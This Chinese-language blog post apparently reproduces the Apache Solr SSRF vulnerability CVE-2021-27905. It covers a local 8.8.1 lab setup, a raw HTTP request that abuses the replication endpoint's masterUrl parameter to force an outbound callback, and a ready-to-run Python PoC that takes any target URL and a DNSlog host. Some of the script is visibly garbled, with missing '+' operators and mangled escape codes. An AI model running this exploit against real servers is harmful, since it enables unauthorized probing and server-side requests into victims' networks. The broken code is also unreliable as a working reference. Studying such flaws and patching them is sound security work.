Apache Solr SSRF (CVE-2021-27905)复现

2022-09-22 19:19:37 浏览数 (2)

0x00漏洞概述

Apache solr是一个开源的搜索服务,使用java编写,运行在serblet容器的一个独立的全文搜索服务器,是apache luncene项目的开源企业搜索平台。

0x01影响范围

Apache solr <=8.8.2

0x02漏洞复现

1、本次复现使用的是apache solr8.8.1版本,下载完成后解压进入bin目录,执行:

代码语言:javascript复制
Solr start -p 8983  //启动环境

(下载链接:http://archive.apache.org/dist/lucene/solr/8.8.1/)

2、点击Core Admin创建core发现报错

此时solr在server/solr目录下已经创建了名字new_core的文件夹,我们把server/solr/configsets/default文件夹下的conf文件复制到新建的new_core文件下:

此时即可创建成功;

访问http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json,便可以看到core的名字:

3、SSRF数据包(其中core为实际节点的core值,dnslog为Dnslog的地址):

代码语言:javascript复制
GET /solr/{core}/replication?command=fetchindex&masterUrl={dnslog} HTTP/1.1
Host: IP
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Referer: http://IP/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

4、POC复现:

POC:

代码语言:javascript复制
# CVE-2021-27905
# Apache solr ssrf

import requests
import urllib3
import json
import sys, getopt
urllib3.disable_warnings()


def title():
    print("[-------------------------------------------------------------]")
    print("[--------------      Apache Solr SSRF漏洞      ---------------]")
    print("[--------               CVE-2021-27905               ----------]")
    print("[--------use:python3 CVE-2021-27905.py -u url -d dnslog--------]")
    print("[--------              Author:Henry4E36            ------------]")
    print("[-------------------------------------------------------------]")

def commit():
    url = ""
    try:
        opt, agrs = getopt.getopt(sys.argv[1:], "hu:d:", ["help", "url=","dnslog="])
        for op, value in opt:
            if op == "-h" or op == "--help":
                print("""
            [-]   Apache Solr SSRF漏洞 (CVE-2021-27905)
            [-]   Options:
                     -h or --help      :   方法说明
                     -u or --url       :   站点URL地址
                     -d or --dnslog    :   DnsLog
                """)
                sys.exit(0)
            elif op == "-u" or op == "--url=":
                url = value
            elif op == "-d" or op == "--dnslog=":
                dnslog = value
            else:
                print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
                sys.exit()
        return url, dnslog

    except Exception as e:
        print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
        sys.exit(0)

def target_core(url):
    target_url = url   "/solr/admin/cores?indexInfo=false&wt=json"
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
    }
    try:
        res = requests.get(url=target_url,headers=headers,verify=False,timeout=5)
        core = list(json.loads(res.text)["status"])[0]
        return core
    except Exception as e:
        print(f"[!]  目标系统: {url} 出现意外!n ",e)

def ssrf(core,dnslog):
    target_url = url   f"/solr/{core}/replication/?command=fetchindex&masterUrl=http://{dnslog}"
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
    }
    try:
        res = requests.get(url=target_url, headers=headers, verify=False, timeout=5)
        status = json.loads(res.text)["status"]
        if res.status_code == 200 and status == "OK":
            print(f"[!]  33[31m目标系统: {url} 可能存在SSRF漏洞,请检查DNSLog响应!33[0m")
        else:
            print(f"[0]  目标系统: {url} 不存在SSRF漏洞")

    except Exception as e:
        print(f"[!]  目标系统: {url} 出现意外!n ", e)


if __name__ == "__main__":
    title()
    url ,dnslog = commit()
    core = target_core(url)
    ssrf(core,dnslog)

0x03修复建议:

升级到最新版本

下载地址:https://solr.apache.org/downloads.html

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